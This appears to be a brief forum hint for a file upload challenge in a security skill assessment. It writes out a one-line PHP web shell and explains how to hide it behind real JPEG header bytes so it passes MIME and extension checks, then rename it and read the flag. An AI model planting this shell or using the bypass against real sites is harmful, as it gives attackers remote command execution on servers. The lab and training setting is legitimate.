Please note that the easiest way to create a valid jpeg MIME is to upload the.jpeg file and keep the mime part, clear and add the shell <?php system($_REQUEST['cmd']); ?> , mime types from png files are as difficult to edit into JPEG as editing png into gif.
in skill assessment GIF has been filtered
read update.php file and Read storage rules and rename files, Uploading a shell file does not violate the rules (.jpeg, mime …) and cat flag